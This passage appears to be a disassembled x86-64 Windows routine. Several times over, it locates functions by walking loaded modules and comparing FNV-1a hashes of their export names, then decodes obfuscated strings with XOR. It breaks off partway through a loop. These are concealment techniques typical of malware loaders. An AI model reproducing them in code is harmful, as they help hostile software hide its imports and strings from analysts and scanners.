mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140042316
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140042316
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140042311
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400422f0
cmp r8d, 0x491e0a9c
je 0x14004231b
test r9d, r9d
jne 0x1400422d0
mov rax, qword [rax]
jmp 0x1400422a0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, rsi
call rax
lea rdx, [rbp + 0x2130]
lea rcx, [rsp + 0x35]
call fcn.14004b710
mov rsi, rax
cmp byte [rax + 0x85], 0
je 0x1400424b3
mov r8d, r14d
cmp r15d, 2
jl 0x140042471
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140042380
cmp r8d, 0x86
jge 0x1400424b3
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x86
jl 0x140042480
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140042546
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140042546
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140042541
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140042520
cmp r8d, 0x491e0a9c
je 0x14004254b
test r9d, r9d
jne 0x140042500
mov rax, qword [rax]
jmp 0x1400424d0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, rsi
call rax
lea rdx, [rbp + 0x24a0]
lea rcx, [rsp + 0x36]
call fcn.14004b790
mov rsi, rax
cmp byte [rax + 0x98], 0
je 0x1400426e3
mov r8d, r14d
cmp r15d, 2
jl 0x1400426a1
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400425b0
cmp r8d, 0x99
jge 0x1400426e3
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x1400426b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140042776
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140042776
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140042771
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140042750
cmp r8d, 0x491e0a9c
je 0x14004277b
test r9d, r9d
jne 0x140042730
mov rax, qword [rax]
jmp 0x140042700
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, rsi
call rax
lea rdx, [rbp + 0x2540]
lea rcx, [rsp + 0x37]
call fcn.14004b820
mov rsi, rax
cmp byte [rax + 0x9a], 0
je 0x140042913
mov r8d, r14d
cmp r15d, 2
jl 0x1400428d1
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400427e0
cmp r8d, 0x9b
jge 0x140042913
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9b
jl 0x1400428e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400429a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400429a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400429a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140042980
cmp r8d, 0x491e0a9c
je 0x1400429ab
test r9d, r9d
jne 0x140042960
mov rax, qword [rax]
jmp 0x140042930
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, rsi
call rax
lea rdx, [rbp + 0x25e0]
lea rcx, [rsp + 0x38]
call fcn.14004b8c0
mov rsi, rax
cmp byte [rax + 0x9a], 0
je 0x140042b43
mov r8d, r14d
cmp r15d, 2
jl 0x140042b01
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140042a10
cmp r8d, 0x9b
jge 0x140042b43
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9b
jl 0x140042b10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140042bd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140042bd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140042bd1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140042bb0
cmp r8d, 0x491e0a9c
je 0x140042bdb
test r9d, r9d
jne 0x140042b90
mov rax, qword [rax]
jmp 0x140042b60
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, rsi
call rax
lea rdx, [rbp + 0x2010]
lea rcx, [rsp + 0x39]
call fcn.14004b960
mov rsi, rax
cmp byte [rax + 0x81], 0
je 0x140042d73
mov r8d, r14d
cmp r15d, 2
jl 0x140042d31
movdqa xmmword [rsp + 0x20], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140042c40
cmp r8d, 0x82
jge 0x140042d73
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x82
jl 0x140042d40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140042e06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140042e06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140042e01
mov rax, qword [rax]
jmp 0x140042d90